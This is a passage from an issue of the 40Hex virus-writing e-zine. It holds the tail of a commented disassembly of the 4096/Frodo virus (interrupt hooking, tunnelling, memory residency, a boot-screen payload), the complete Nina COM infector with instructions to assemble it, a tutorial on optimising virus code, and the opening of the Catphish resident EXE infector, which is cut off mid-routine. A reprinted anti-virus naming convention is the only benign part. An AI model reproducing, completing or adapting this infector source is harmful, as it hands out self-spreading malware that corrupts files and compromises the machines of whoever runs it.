                jnc     exitint13
                inc     byte ptr cs:errorflag   ; mark error
exitint13error:
                stc                             ; mark error
exitint13:
                jmp     dword ptr cs:int13tempCSIP ; return to caller

int24:
                xor     al,al                   ; ignore error
                mov     byte ptr cs:errorflag,1 ; mark error
                iret

replaceint13and24:
                mov     byte ptr cs:errorflag,0 ; clear errors
                call    saveregs
                push    cs
                pop     ds
                mov     al,13h                  ; save int 13 handler
                call    getint
                mov     word ptr ds:origints,bx
                mov     word ptr ds:origints+2,es
                mov     word ptr ds:oldint13,bx
                mov     word ptr ds:oldint13+2,es
                mov     dl,0
                mov     al,0Dh                  ; fixed disk interrupt
                call    getint
                mov     ax,es
                cmp     ax,0C000h               ; is there a hard disk?
                jae     harddiskpresent         ; C000+ is in BIOS
                mov     dl,2
harddiskpresent:
                mov     al,0Eh                  ; floppy disk interrupt
                call    getint
                mov     ax,es
                cmp     ax,0C000h               ; check if floppy
                jae     floppypresent
                mov     dl,2
floppypresent:
                mov     ds:tracemode,dl
                call    replaceint1
                mov     ds:savess,ss            ; save stack
                mov     ds:savesp,sp
                push    cs                      ; save these on stack for
                mov     ax,offset setvirusints  ; return to setvirusints
                push    ax
                mov     ax,70h
                mov     es,ax
                mov     cx,0FFFFh
                mov     al,0CBh                 ; retf
                xor     di,di
                repne   scasb                   ;scan es:di for retf statement
                dec     di                      ; es:di->retf statement
                pushf
                push    es                      ; set up stack for iret to
                push    di                      ; the retf statement which
                                                ; will cause transfer of
                                                ; control to setvirusints
                pushf
                pop     ax
                or      ah,1                    ; turn on the trap flag
                push    ax
                in      al,21h                  ; save IMR in temporary
                mov     ds:saveIMR,al           ; buffer and then
                mov     al,0FFh                 ; disable all the
                out     21h,al                  ; interrupts
                popf
                xor     ax,ax                   ; reset disk
                jmp     dword ptr ds:origints   ; (int 13h call)
                                                ; then transfer control to
setvirusints:                                   ; setvirusints
                lds     dx,dword ptr ds:oldint1
                mov     al,1                    ; restore old int 1 handler
                call    setvect
                push    cs
                pop     ds
                mov     dx,offset int13         ; replace old int 13h handler
                mov     al,13h                  ; with virus's
                call    setvect
                mov     al,24h                  ; Get old critical error
                call    getint                  ; handler and save its
                mov     word ptr ds:oldint24,bx ; location
                mov     word ptr ds:oldint24+2,es
                mov     dx,offset int24
                mov     al,24h                  ; Replace int 24 handler
                call    setvect                 ; with virus's handler
                call    restoreregs
                retn


restoreint13and24:
                call    saveregs
                lds     dx,dword ptr cs:oldint13
                mov     al,13h
                call    setvect
                lds     dx,dword ptr cs:oldint24
                mov     al,24h
                call    setvect
                call    restoreregs
                retn


disableBREAK:
                mov     ax,3300h                ; Get current BREAK setting
                call    callint21
                mov     cs:BREAKsave,dl
                mov     ax,3301h                ; Turn BREAK off
                xor     dl,dl
                call    callint21
                retn


restoreBREAK:
                mov     dl,cs:BREAKsave
                mov     ax,3301h                ; restore BREAK setting
                call    callint21
                retn


_pushall:
                pop     word ptr cs:pushpopalltempstore
                pushf
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                push    es
                jmp     word ptr cs:pushpopalltempstore

swapvirint21:
                les     di,dword ptr cs:oldint21; delve into original int
                mov     si,offset jmpfarptr     ; handler and swap the first
                push    cs                      ; 5 bytes.  This toggles it
                pop     ds                      ; between a jmp to the virus
                cld                             ; code and the original 5
                mov     cx,5                    ; bytes of the int handler
swapvirint21loop:                               ; this is a tunnelling method
                lodsb                           ; if I ever saw one
                xchg    al,es:[di]              ; puts the bytes in DOS's
                mov     [si-1],al               ; int 21h handler
                inc     di
                loop    swapvirint21loop

                retn


_popall:
                pop     word ptr cs:pushpopalltempstore
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                popf
                jmp     word ptr cs:pushpopalltempstore

restoreregs:
                mov     word ptr cs:storecall,offset _popall
                jmp     short do_saverestoreregs

saveregs:
                mov     word ptr cs:storecall,offset _pushall
do_saverestoreregs:
                mov     cs:storess,ss           ; save stack
                mov     cs:storesp,sp
                push    cs
                pop     ss
                mov     sp,cs:stackptr          ; set new stack
                call    word ptr cs:storecall
                mov     cs:stackptr,sp          ; update internal stack ptr
                mov     ss,cs:storess           ; and restore stack to
                mov     sp,cs:storesp           ; caller program's stack
                retn


replaceint1:
                mov     al,1                    ; get the old interrupt
                call    getint                  ; 1 handler and save it
                mov     word ptr cs:oldint1,bx  ; for later restoration
                mov     word ptr cs:oldint1+2,es
                push    cs
                pop     ds
                mov     dx,offset int1          ; set int 1 handler to
                call    setvect                 ; the virus int handler
                retn

allocatememory:
                call    allocate_memory
                jmp     exitotherint21

allocate_memory:
                cmp     byte ptr cs:checkres,0  ; installed check
                je      exitallocate_memory     ; exit if installed
                cmp     bx,0FFFFh               ; finding total memory?
                jne     exitallocate_memory     ; (virus trying to install?)
                mov     bx,160h                 ; allocate memory to virus
                call    callint21
                jc      exitallocate_memory     ; exit on error
                mov     dx,cs
                cmp     ax,dx
                jb      continue_allocate_memory
                mov     es,ax
                mov     ah,49h                  ; Free memory
                call    callint21
                jmp     short exitallocate_memory
continue_allocate_memory:
                dec     dx                      ; get segment of MCB
                mov     ds,dx
                mov     word ptr ds:[1],0       ; mark unused MCB
                inc     dx                      ; go to memory area
                mov     ds,dx
                mov     es,ax
                push    ax
                mov     word ptr cs:int21store+2,ax ; fixup segment
                xor     si,si
                mov     di,si
                mov     cx,0B00h
                rep     movsw                   ; copy virus up there
                dec     ax                      ; go to MCB
                mov     es,ax
                mov     ax,cs:ownerfirstMCB     ; get DOS PSP ID
                mov     es:[1],ax               ; make vir ID = DOS PSP ID
                mov     ax,offset exitallocate_memory
                push    ax
                retf

exitallocate_memory:
                retn

get_device_info:
                mov     byte ptr cs:hide_size,2
                jmp     exitotherint21

callint21: ; call original int 21h handler (tunnelled)
                pushf
                call    dword ptr cs:oldint21
                retn

bootblock:
                cli
                xor     ax,ax                   ; set new stack just below
                mov     ss,ax                   ; start of load area for
                mov     sp,7C00h                ; boot block
                jmp     short enter_bootblock
borderchars     db      'ііі '

FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
                db      11111001b,11100000b,11100011b,11000011b,10000000b
                db      10000001b,00010001b,00010010b,00100100b,01000000b
                db      10000001b,00010001b,00010010b,00100100b,01000000b
                db      11110001b,11110001b,00010010b,00100100b,01000000b
                db      10000001b,00100001b,00010010b,00100100b,01000000b
                db      10000001b,00010000b,11100011b,11000011b,10000000b
                db      00000000b,00000000b,00000000b,00000000b,00000000b
                db      00000000b,00000000b,00000000b,00000000b,00000000b
                db      10000010b,01000100b,11111000b,01110000b,11000000b
                db      10000010b,01000100b,10000000b,10001000b,11000000b
                db      10000010b,01000100b,10000000b,10000000b,11000000b
                db      10000010b,01000100b,11110000b,01110000b,11000000b
                db      10000010b,00101000b,10000000b,00001000b,11000000b
                db      10000010b,00101000b,10000000b,10001000b,00000000b
                db      11110010b,00010000b,11111000b,01110000b,11000000b
enter_bootblock:
                push    cs
                pop     ds
                mov     dx,0B000h               ; get video page in bh
                mov     ah,0Fh                  ; get video mode in al
                int     10h                     ; get columns in ah

                cmp     al,7                    ; check if colour
                je      monochrome
                mov     dx,0B800h               ; colour segment
monochrome:
                mov     es,dx                   ; es->video segment
                cld
                xor     di,di
                mov     cx,25*80                ; entire screen
                mov     ax,720h                 ; ' ', normal attribute
                rep     stosw                   ; clear the screen
                mov     si,7C00h+FRODO_LIVES-bootblock
                mov     bx,2AEh
morelinestodisplay:
                mov     bp,5
                mov     di,bx
displaymorebackgroundontheline:
                lodsb                           ; get background pattern
                mov     dh,al
                mov     cx,8

displayinitialbackground:
                mov     ax,720h
                shl     dx,1
                jnc     spacechar
                mov     al,'і'
spacechar:
                stosw
                loop    displayinitialbackground

                dec     bp
                jnz     displaymorebackgroundontheline
                add     bx,80*2                 ; go to next line
                cmp     si,7C00h+enter_bootblock-bootblock
                jb      morelinestodisplay
                mov     ah,1                    ; set cursor mode to cx
                int     10h

                mov     al,8                    ; set new int 8 handler
                mov     dx,7C00h+int8-bootblock ; to spin border
                call    setvect
                mov     ax,7FEh                 ; enable timer interrupts only
                out     21h,al

                sti
                xor     bx,bx
                mov     cx,1
                jmp     short $                 ; loop forever while
                                                ; spinning the border

int8:                                           ; the timer interrupt spins
                dec     cx                      ; the border
                jnz     endint8
                xor     di,di
                inc     bx
                call    spin_border
                call    spin_border
                mov     cl,4                    ; wait 4 more ticks until
endint8:                                        ; next update
                mov     al,20h                  ; Signal end of interrupt
                out     20h,al
                iret

spin_border:
                mov     cx,28h                  ; do 40 characters across

dohorizontal:
                call    lookup_border_char
                stosw
                stosw
                loop    dohorizontal
patch2:
                add     di,9Eh                  ; go to next line
                mov     cx,17h                  ; do for next 23 lines

dovertical:                                     ; handle vertical borders
                call    lookup_border_char      ; get border character
                stosw                           ; print it on screen
patch3:
                add     di,9Eh                  ; go to next line
                loop    dovertical
patch1:
                std
        ; this code handles the other half of the border
                xor     byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
                xor     byte ptr ds:[7C00h+patch2-bootblock+1],28h
                xor     byte ptr ds:[7C00h+patch3-bootblock+1],28h
                retn


lookup_border_char:
                and     bx,3                    ; find corresponding border
                mov     al,ds:[bx+7C00h+borderchars-bootblock]
                inc     bx                      ; character
                retn


setvect:
                push    es
                push    bx
                xor     bx,bx
                mov     es,bx
                mov     bl,al                   ; int # to bx
                shl     bx,1                    ; int # * 4 = offset in
                shl     bx,1                    ; interrupt table
                mov     es:[bx],dx              ; set the vector in the
                mov     es:[bx+2],ds            ; interrupt table
                pop     bx
                pop     es
                retn


writebootblock: ; this is an unfinished subroutine; it doesn't work properly
                call    replaceint13and24
                mov     dl,80h
                db      0E8h, 08h, 00h, 32h,0D2h,0E8h
                db       03h, 01h, 00h, 9Ah, 0Eh, 32h
                db       08h, 70h, 00h, 33h, 0Eh, 2Eh
                db       03h, 6Ch, 15h, 03h, 00h, 26h
                db       00h, 00h, 00h, 21h, 00h, 50h
                db       12h, 65h, 14h, 82h, 08h, 00h
                db       0Ch, 9Ah, 0Eh, 56h, 07h, 70h
                db       00h, 33h, 0Eh, 2Eh, 03h, 6Ch
                db       15h,0E2h, 0Ch, 1Eh, 93h, 00h
                db       00h,0E2h, 0Ch, 50h

                org 1200h
readbuffer      dw      ? ; beginning of the read buffer
lengthMOD512    dw      ? ; EXE header item - length of image modulo 512
lengthinpages   dw      ? ; EXE header item - length of image in pages
relocationitems dw      ? ; EXE header item - # relocation items
headersize      dw      ? ; EXE header item - header size in paragraphs
minmemory       dw      ? ; EXE header item - minimum memory allocation
maxmemory       dw      ? ; EXE header item - maximum memory allocation
initialSS       dw      ? ; EXE header item - initial SS value
initialSP       dw      ? ; EXE header item - initial SP value
wordchecksum    dw      ? ; EXE header item - checksum value
initialIP       dw      ? ; EXE header item - initial IP value
initialCS       dw      ? ; EXE header item - initial CS value
                db      12 dup (?) ; rest of header - unused
parmblock       dd      ? ; address of parameter block
filedrive       db      ? ; 0 = default drive
filetime        dw      ? ; saved file time
filedate        dw      ? ; saved file date
origints        dd      ? ; temporary scratch buffer for interrupt vectors
oldint1         dd      ? ; original interrupt 1 vector
oldint21        dd      ? ; original interrupt 21h vector
oldint13        dd      ? ; original interrupt 13h vector
oldint24        dd      ? ; original interrupt 24h vector
int13tempCSIP   dd      ? ; stores calling CS:IP of int 13h
carrierPSP      dw      ? ; carrier file PSP segment
DOSsegment      dw      ? ; segment of DOS list of lists
ownerfirstMCB   dw      ? ; owner of the first MCB
jmpfarptr       db      ? ; 0eah, jmp far ptr
int21store      dd      ? ; temporary storage for other 4 bytes
                          ; and for pointer to virus int 21h
tracemode       db      ? ; trace mode
instructionstotrace  db ? ; number of instructions to trace
handletable     dw      28h dup (?) ; array of handles
handlesleft     db      ? ; entries left in table
currentPSP      dw      ? ; storage for the current PSP segment
curfileposlow   dw      ? ; current file pointer location, low word
curfileposhigh  dw      ? ; current file pointer location, high word
filesizelow     dw      ? ; current file size, low word
filesizehigh    dw      ? ; current file size, high word
savebuffer      dw      ? ; storage for handle read, etc.
savelength      dw      ? ; functions
return_code     dw      ? ; returned in AX on exit of int 21h
int21flags      dw      ? ; storage of int 21h return flags register
tempFCB         db      25h dup (?) ; copy of the FCB
errorflag       db      ? ; 0 if no error, 1 if error
int13flags      dw      ? ; storage of int 13h return flags register
savess          dw      ? ; temporary storage of stack segment
savesp          dw      ? ; and stack pointer
BREAKsave       db      ? ; current BREAK state
checkres        db      ? ; already installed flag
initialax       dw      ? ; AX upon entry to carrier
saveIMR         db      ? ; storage for interrupt mask register
saveoffset      dw      ? ; temp storage of CS:IP of
savesegment     dw      ? ; caller to int 21h
pushpopalltempstore  dw ? ; push/popall caller address
numfreeclusters dw      ? ; total free clusters
DOSversion      db      ? ; current DOS version
hideclustercountchange db ? ; flag of whether to hide free cluster count
hide_size       db      ? ; hide filesize increase if equal to 0
copyparmblock   db      0eh dup (?) ; copy of the parameter block
origsp          dw      ? ; temporary storage of stack pointer
origss          dw      ? ; and stack segment
origcsip        dd      ? ; temporary storage of caller CS:IP
copyfilename    db      50h dup (?) ; copy of filename
storesp         dw      ? ; temporary storage of stack pointer
storess         dw      ? ; and stack segment
stackptr        dw      ? ; register storage stack pointer
storecall       dw      ? ; temporary storage of function offset

topstack = 1600h

_4096           ends
                end

40Hex Number 9 Volume 2 Issue 5                                       File 006

Below is the Nina virus.  It's a 256 byte generic COM infector supposedly
originating in Bulgaria.  Although some minor portions are not as highly
optimised as they could be, the code is well-written.  Items of note include
the infection method, which is somewhat reminiscent of Jerusalem, the
installation check handler in int 21h, and the residency routine.  As always,
use Tasm to assemble.

                                                Dark Angel

.model tiny
.code
org 100h
; Disassembly done by Dark Angel of Phalcon/Skism
; for 40Hex Number 9, Volume 2 Issue 5
start:
                push    ax
                mov     ax,9753h                ; installation check
                int     21h
                mov     ax,ds
                dec     ax
                mov     ds,ax                   ; ds->program MCB
                mov     ax,ds:[3]               ; get size word
                push    bx
                push    es
                sub     ax,40h                  ; reserve 40h paragraphs
                mov     bx,ax
                mov     ah,4Ah                  ; Shrink memory allocation
                int     21h

                mov     ah,48h                  ; Allocate 3Fh paragraphs
                mov     bx,3Fh                  ; for the virus
                int     21h

                mov     es,ax                   ; copy virus to high
                xor     di,di                   ; memory
                mov     si,offset start + 10h   ; start at MCB:110h
                mov     cx,100h                 ; (same as PSP:100h)
                rep     movsb
                sub     ax,10h                  ; adjust offset as if it
                push    ax                      ; originated at 100h
                mov     ax,offset highentry
                push    ax
                retf

endfile         dw      100h ; size of infected COM file

highentry:
                mov     byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
                                                ; memory isn't freed when the
                                                ; program terminates
                mov     ax,3521h                ; get int 21h vector
                int     21h

                mov     word ptr cs:oldint21,bx ; save it
                mov     word ptr cs:oldint21+2,es
                push    es
                pop     ds
                mov     dx,bx
                mov     ax,2591h                ; redirect int 91h to int 21h
                int     21h

                push    cs
                pop     ds
                mov     dx,offset int21
                mov     al,21h                  ; set int 21h to virus vector
                int     21h

                pop     ds                      ; ds->original program PSP
                pop     bx
                push    ds
                pop     es
return_COM:
                mov     di,100h                 ; restore original
                mov     si,endfile              ; file
                add     si,di                   ; adjust for COM starting
                mov     cx,100h                 ; offset
                rep     movsb
                pop     ax
                push    ds                      ; jmp back to original
                mov     bp,100h                 ; file (PSP:100)
                push    bp
                retf
exit_install:
                pop     ax                      ; pop CS:IP and flags in
                pop     ax                      ; order to balance the
                pop     ax                      ; stack and then exit the
                jmp     short return_COM        ; infected COM file
int21:
                cmp     ax,9753h                ; installation check?
                je      exit_install
                cmp     ax,4B00h                ; execute?
                jne     exitint21               ; nope, quit
                push    ax                      ; save registers
                push    bx
                push    cx
                push    dx
                push    ds
                call    infect
                pop     ds                      ; restore registers
                pop     dx
                pop     cx
                pop     bx
                pop     ax
exitint21:
                db      0eah ; jmp far ptr
oldint21        dd      ?

infect:
                mov     ax,3D02h                ; open file read/write
                int     91h
                jc      exit_infect
                mov     bx,ax
                mov     cx,100h
                push    cs
                pop     ds
                mov     ah,3Fh                  ; Read first 100h bytes
                mov     dx,offset endvirus
                int     91h
                mov     ax,word ptr endvirus
                cmp     ax,'MZ'                 ; exit if EXE
                je      close_exit_infect
                cmp     ax,'ZM'                 ; exit if EXE
                je      close_exit_infect
                cmp     word ptr endvirus+2,9753h ; exit if already
                je      close_exit_infect       ; infected
                mov     al,2                    ; go to end of file
                call    move_file_pointer
                cmp     ax,0FEB0h               ; exit if too large
                ja      close_exit_infect
                cmp     ax,1F4h                 ; or too small for
                jb      close_exit_infect       ; infection
                mov     endfile,ax              ; save file size
                call    write
                mov     al,0                    ; go to start of file
                call    move_file_pointer
                mov     dx,100h                 ; write virus
                call    write
close_exit_infect:
                mov     ah,3Eh                  ; Close file
                int     91h
exit_infect:
                retn

move_file_pointer:
                push    dx
                xor     cx,cx
                xor     dx,dx
                mov     ah,42h
                int     91h
                pop     dx
                retn

write:
                mov     ah,40h
                mov     cx,100h
                int     91h
                retn

                db      ' Nina '
endvirus:
                int     20h ; original COM file

                end     start
40Hex Number 9 Volume 2 Issue 5                                       File 007

-------------------------------------------------------------------------
                    A New Virus Naming Convention


At the Anti-Virus Product Developers Conference organized by NCSA in
Washington in November 1991 a committee was formed with the objective
of reducing the confusion in virus naming.  This committee consisted
of Fridrik Skulason (Virus Bulletin's technical editor) Alan Solomon
(S&S International) and Vesselin Bontchev (University of Hamburg).

The following naming convention was chosen:

The full name of a virus consists of up to four parts, desimited by
points ('.').  Any part may be missing, but at least one must be
present.  The general format is

        Family_Name.Group_Name.Major_Variant.Minor_Variant

Each part is an identifier, constructed with the characters
[A-Za-z0-9_$%&!'`#-].  The non-alphanumeric characters are permitted,
but should be avoided.  The identifier is case-insensitive, but
mixed-case characters should be used for readability.  Usage of
underscore ('_') (instead of space) is permitted, if it improves
readability.  Each part is up to 20 characters long (in order to allow
such monstriosities like "Green_Caterpillar"), but shorter names
should be used whenever possible.  However, if the shorter name is
just an abbreviation of the long name, it's better to use the long
name.

1. Family names.

The Family_Name represents the family to which the virus belongs.
Every attempt is made to group the existing viruses into families,
depending on the structural similarities of the viruses, but we
understand that a formal definition of a family is impossible.

When selecting a Family_Name, the following guidelines must be
applied:

                                "Must"

1) Do not use company names, brand names or names of living people,
   except where the virus is provably written by the person.  Common
   first names are permissible, but be careful - avoid if possible.
   In particular, avoid names associated with the anti-virus world.
   If a virus claims to be written by a particular person or company
   do not believe it without further proof.

2) Do not use an existing Family_Name, unless the viruses belong to
   the same family.

3) Do not invent a new name if there is an existing, acceptable name.

4) Do not use obscene or offensive names.

5) Do not assume that just because an infected sample arrives with a
   particular name, that the virus has that name.

6) Avoid numeric Family_Names like V845.  They should never be used as
   family names, as the members of the family may have different
   lengths.  When a new virus appears and a new Family_Name must be
   selected for it, it is acceptable to us a temporary name like
   _1234, but this must be changed as soon as possible.

                               "Should"

1) Avoid Family_Names like Friday 13th, September 22nd.  They should
   not be used as family names, as members of the family may have
   different activation dates.

2) Avoid geographic names which are based on the discovery site - the
   same virus might appear simultaneously in several different places.

3) If multiple acceptable names exist, select the original one, the
   one used by the majority of existing anti-virus programs or the
   more descriptive one.

                              "General"

1) All short (less than 60 bytes) overwriting viruses are grouped
   under a Family_Name, called Trivial.

2. Group names.

The Group_Name represents a major group of similar viruses in a virus
family, something like a sub-family.  Examples are AntiCAD (a
distinguished clone of the Jerusalem family, containing numerous
variants), or 1704 (a group of several virus variants in the Cascade
family).

When selecting a Group_Name, the same guidelines as for a Family_Name
should be applied, except that numeric names are more permissible -
but only if the respective group of viruses is well known under this
name.

3. Major variant name.

The major variant name is used to group viruses in a Group_Name, which
are very similar, and usually have one and the same infective length.
Again, the above guidelines are applied, with one major exception.
The Major_Variant is almost always a number, representing the
infective length, since it helps to distinguish that particular
sub-group of viruses.  The infective length should be used as
Major_Variant name always when it is known.  Exceptions of this rule
are:

1) When the infective length is not known, because the viruses are not
   yet analyzed.  In this case, consecutive numbers are used (1, 2, 3,
   etc.).  This should be changed as soon as more information about
   the viruses becomes known.

2) When an alpha-numeric name of the virus sub-group already exists
   and is popular, or more descriptive.

4. Minor variant name.

Minor variants are viruses with the same infective length, with
similar structure and behaviour, but slightly different.  Usually the
minor variants are different patches of one and the same virus.

When selecting a Minor_Variant name, usually consecutive letters of
the alphabet are used (A, B, C, etc...).  However, this is not a very
hard restriction and longer names can be used as well, especially if
the virus is already known under this (longer) name, or if the name is
more descriptive than just a letter.


The producers of virus detection software are strongly usrged to use
the virus names proposed here. The anti-virus researchers are advised
to use the described guidelines when selecting names for new viruses,
in order to avoid further confusion.

If a scanner is not able to distinguish between tow minor variants of
a virus, it should output the virus name up to the recognized major
variant. For instance, if it cannot distinguish between
Dark_Avenger.2000.Traveller.Copy and Dark.Avenger.Traveller.Zopy, it
should report both variants of the virus as Dark.Avenger.Traveller.

If it is also not able to distinguish between the major variants, it
should report the virus up to the recognized group name.  That is, if
the scanner cannot make the difference between
Dark_Avenger.2000.Traveller.* and Dark_Avenger.2000.Die_Young, it
should report all the variants as Dark_Avenger.2000.
-------------------------------------------------------------------------

     We at Phalcon/Skism welcome the proposals of this new committee.  It
is a step in the right direction, helping clear up the mess caused by the
generation disorganisation which has dominated the virus naming conventions
to date.  Additionally, if implemented properly, it will aid in
identification of strains.  John McAfee's SCAN, which had been the best
virus scanner, fell from grace recently, when it implemented a new policy
of merging scan strings, causing confusion in identification.  Fridrik
Skulason's F-Prot is the current champion of virus identification.

     However, we must voice concerns that the rules are not strict enough.
There are clearly too few rules to cover the numerous viruses which
currently exist.  Family, group, and major variant names for most current
common viruses should be established now.  These guidelines need be created
ASAP to avoid later confusion.  In the example in the last two paragraphs,
Dark Avenger strains are labelled separately as Dark_Avenger.2000 and
Dark.Avenger.  Such confusion is simply not acceptable.

     Wherever possible, the current common names should be kept.  It would
be a shame if the world lost the Jerusalem family to some mad individual
who wishes to name it 1808.  The rules cover this, but it is important to
set this down initially before stupid people butcher the rules.  Number
names are neither informative nor interesting.  Imagine advertising a
product as being able to catch "the deadly 605 virus."  Some knobs have
proposed a numerical classification scheme of viruses.  They're living in a
dream world.

     We applaud the efforts of the committee and may only hope that anti-
virus developers attempt to adhere to the proposed rules.  Hopefully, Mr.
Skulason and Dr. Solomon will lead the way, converting their own products
to this new naming convention.  And who will classify the viruses?  We
propose an open forum for discussion on a large network such as UseNet or
FidoNet moderated by either a virus researcher or anti-virus developer.
This will allow input from many people, some of whom have particular
specialties within certain groups of viruses.
40Hex Number 9 Volume 2 Issue 5                                       File 008

                     ооооооооооооооооооооооооооооооооооооо
                     CODE OPTIMISATION, A BEGINNER'S GUIDE
                     ооооооооооооооооооооооооооооооооооооо
                             Written by Dark Angel
                     ооооооооооооооооооооооооооооооооооооо
  
  When writing  a virus, size is a primary concern.  A bloated virus carrying
  unnecessary baggage  will run slower than its optimised counterpart and eat
  up more disk space.
  
  Never optimise  any code  before it  works fully, since altering code after
  optimisation often  messes up  the optimisation and, in turn, messes up the
  code.   After it works, the focus can shift to optimisation.  Always keep a
  backup of  the last  working copy of the virus, as optimisation often leads
  to improperly  working code.   With  this in  mind,  a  few  techniques  of
  optimisation will be introduced.
  
  There are  two types  of optimisation:  structural and  local.   Structural
  optimisation occurs  when shifting  the position  of code or rethinking and
  reordering the functions of the virus shorten its length.  A simple example
  follows:
  
  check_install:
    mov ax,1234h
    int 21h
    cmp bx,1234h
    ret
  
  install_virus:
    call check_install
    jz   exit_install
  
  If this  is the  only instance  that the procedure check_install is called,
  the following optimisation may be made:
  
  install_virus:
    mov ax,1234h
    int 21h
    cmp bx,1234h
    jz  exit_install
  
  The first fragment wastes a total of 4 bytes - 3 for the call and 1 for the
  ret.   Four bytes  may not seem to be worth the effort, but after many such
  optimisations, the  code size  may be  brought  down  significantly.    The
  reverse of  this optimisation,  using procedures in lieu of repetitive code
  fragments, may work in other instances.  Properly designed and well-thought
  out  code  will  allow  for  such  an  optimisation.    Another  structural
  optimisation:
  
  get attributes
  open file read/only
  read file
  close file
  exit if already infected
  clear attributes
  open file read/write
  get file time/date
  write new header
  move file pointer to end of file
  concatenate virus
  restore file time/date
  close file
  restore attributes
  exit
  
  Change the above to:
  
  get attributes
  clear attributes
  open file read/write
  read file
  if infected, exit to close file
  get file time/date
  move file pointer to end of file
  concatenate virus
  move file pointer to beginning
  write new header
  restore file time/date
  close file
  restore attributes
  exit
  
  By using  the second,  an open  file and  a close file are eliminated while
  adding only  one move file pointer request.  This can save a healthy number
  of bytes.
  
  Local, or  peephole, optimisation  is often  easier to  do than  structural
  optimisation.   It consists  of changing  individual  statements  or  short
  groups of statements to save bytes.
  
  The easiest  type of  peephole optimisation  is a simple replacement of one
  line with  a functional  equivalent that  takes  fewer  bytes.    The  8086
  instruction set abounds with such possibilities.  A few examples follow.
  
  Perhaps the most widespread optimisation, replace:
    mov ax,0 ; this instruction is 3 bytes long
    mov bp,0 ; mov reg, 0 with any reg = nonsegment register takes 3 bytes
  with
    xor ax,ax ; this takes but 2 bytes
    xor bp,bp ; mov reg, 0 always takes 2 bytes
  or even
    sub ax,ax ; also takes 2 bytes
    sub bp,bp
  
  One of  the easiest  optimisations, yet often overlooked by novices, is the
  merging of lines.  As an example, replace:
    mov bh,5h   ; two bytes
    mov bl,32h  ; two bytes
                ; total: four bytes
  with
    mov bx,532h ; three bytes, save one byte
  
  A very  useful optimisation  moving the  file handle from ax to bx follows.
  Replace:
    mov  bx,ax   ; 2 bytes
  with
    xchg ax,bx   ; 1 byte
  
  Another easy  optimisation which  can most  easily applied  to file pointer
  moving operations:
  Replace
    mov ax,4202h  ; save one byte from "mov ah,42h / mov al,2"
    xor dx,dx     ; saves one byte from "mov dx,0"
    xor cx,cx     ; same here
    int 21h
  with
    mov ax,4202h
    cwd           ; equivalent to "xor dx,dx" when ax < 8000h
    xor cx,cx
    int 21h
  
  Sometimes it may be desirable to use si as the delta offset variable, as an
  instruction  involving  [si]  takes  one  less  byte  to  encode  than  its
  equivalent using  [bp].   This does  NOT work  with  combinations  such  as
  [si+1].  Examples:
  
    mov  ax,[bp]                ; 3 bytes
    mov  word ptr cs:[bp],1234h ; 6 bytes
    add  ax,[bp+1]              ; 3 bytes - no byte savings will occur
  
    mov  ax,[si]                ; 2 bytes
    mov  word ptr cs:[si],1234h ; 5 bytes
    add  ax,[si+1]              ; 3 bytes - this is not smaller
  
  A somewhat strange and rather specialised optimisation:
    inc al  ; 2 bytes
    inc bl  ; 2 bytes
  versus
    inc ax  ; 1 byte
    inc bx  ; 1 byte
  
  A structural  optimisation can  also involve getting rid of redundant code.
  As a  virus related  example, consider  the  infection  routine.    In  few
  instances is an error-trapping routine after each interrupt call necessary.
  A single  "jc error" is needed, say after the first disk-writing interrupt,
  and if  that succeeds, the rest should also work fine.  Another possibility
  is to use a critical error handler instead of error checking.
  
  How about this example of optimised code:
    mov  ax, 4300h   ; get file attributes
    mov  dx, offset filename
    int  21h
  
    push dx          ; save filename
    push cx          ; and attributes on stack
  
    inc  ax          ; ax = 4301h = set file attributes
    push ax          ; save 4301h on stack
    xor  cx,cx       ; clear attributes
    int  21h
  
  ...rest of infection...
  
    pop  ax          ; ax = 4301h
    pop  cx          ; cx = original attributes of file
    pop  dx          ; dx-> original filename
    int  21h
  
  Optimisation is  almost always  code-specific.   Through a  combination  of
  restructuring and  line replacement,  a  good  programmer  can  drastically
  reduce the  size of  a virus.    By  gaining  a  good  feel  of  the  80x86
  instruction set,  many more  optimisations may  be found.   Above all, good
  program design will aid in creating small viruses.
40Hex Number 9 Volume 2 Issue 5                                       File 009

                               

name    VIRUSTEST
        title   
code    segment  
        assume  cs:code, ds:code, es:code
        org     100h

;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
;                       FirstStrike presents:
;
;                        The Catphish Virus.    
;
;   The Catphish virus is a resident .EXE infector.
;                Size: 678 bytes (decimal).
;                No activation (bomb).
;                Saves date and file attributes.
;
;         If assembling, check_if_resident jump must be marked over
;           with nop after first execution (first execution will hang
;           system).
;
;         *** Source is made available to learn from, not to
;               change author's name and claim credit! ***

start:
        call    setup                             ; Find "delta offset".
setup:               
        pop     bp                              
        sub     bp, offset setup-100h
        jmp     check_if_resident                 ; See note above about jmp!

pre_dec_em:
        mov bx,offset infect_header-100h
        add bx,bp
        mov cx,endcrypt-infect_header

ror_em:
        mov dl,byte ptr cs:[bx]
        ror dl,1                                  ; Decrypt virus code
        mov byte ptr cs:[bx],dl                   ;   by rotating right.
        inc bx                                    
        loop ror_em

        jmp check_if_resident

;--------------------------------- Infect .EXE header -----------------------
;   The .EXE header modifying code below is my reworked version of 
;     Dark Angel's code found in his Phalcon/Skism virus guides.


infect_header:
          push bx
          push dx
          push ax



          mov     bx, word ptr [buffer+8-100h]    ; Header size in paragraphs
               ;  ^---make sure you don't destroy the file handle
          mov     cl, 4                           ; Multiply by 16.  Won't
          shl     bx, cl                          ; work with headers > 4096
                                                  ; bytes.  Oh well!
          sub     ax, bx                          ; Subtract header size from
          sbb     dx, 0                           ; file size
    ; Now DX:AX is loaded with file size minus header size
          mov     cx, 10h                         ; DX:AX/CX = AX Remainder DX
          div     cx
  
  
          mov     word ptr [buffer+14h-100h], dx  ; IP Offset
          mov     word ptr [buffer+16h-100h], ax  ; CS Displacement in module
  
  
          mov     word ptr [buffer+0Eh-100h], ax     ; Paragraph disp. SS
          mov     word ptr [buffer+10h-100h], 0A000h ; Starting SP
  
          pop ax
          pop dx

          add ax, endcode-start                   ; add virus size
          cmp ax, endcode-start
          jb fix_fault
          jmp execont


war_cry  db 'Cry Havoc, and let slip the Dogs of War!',0
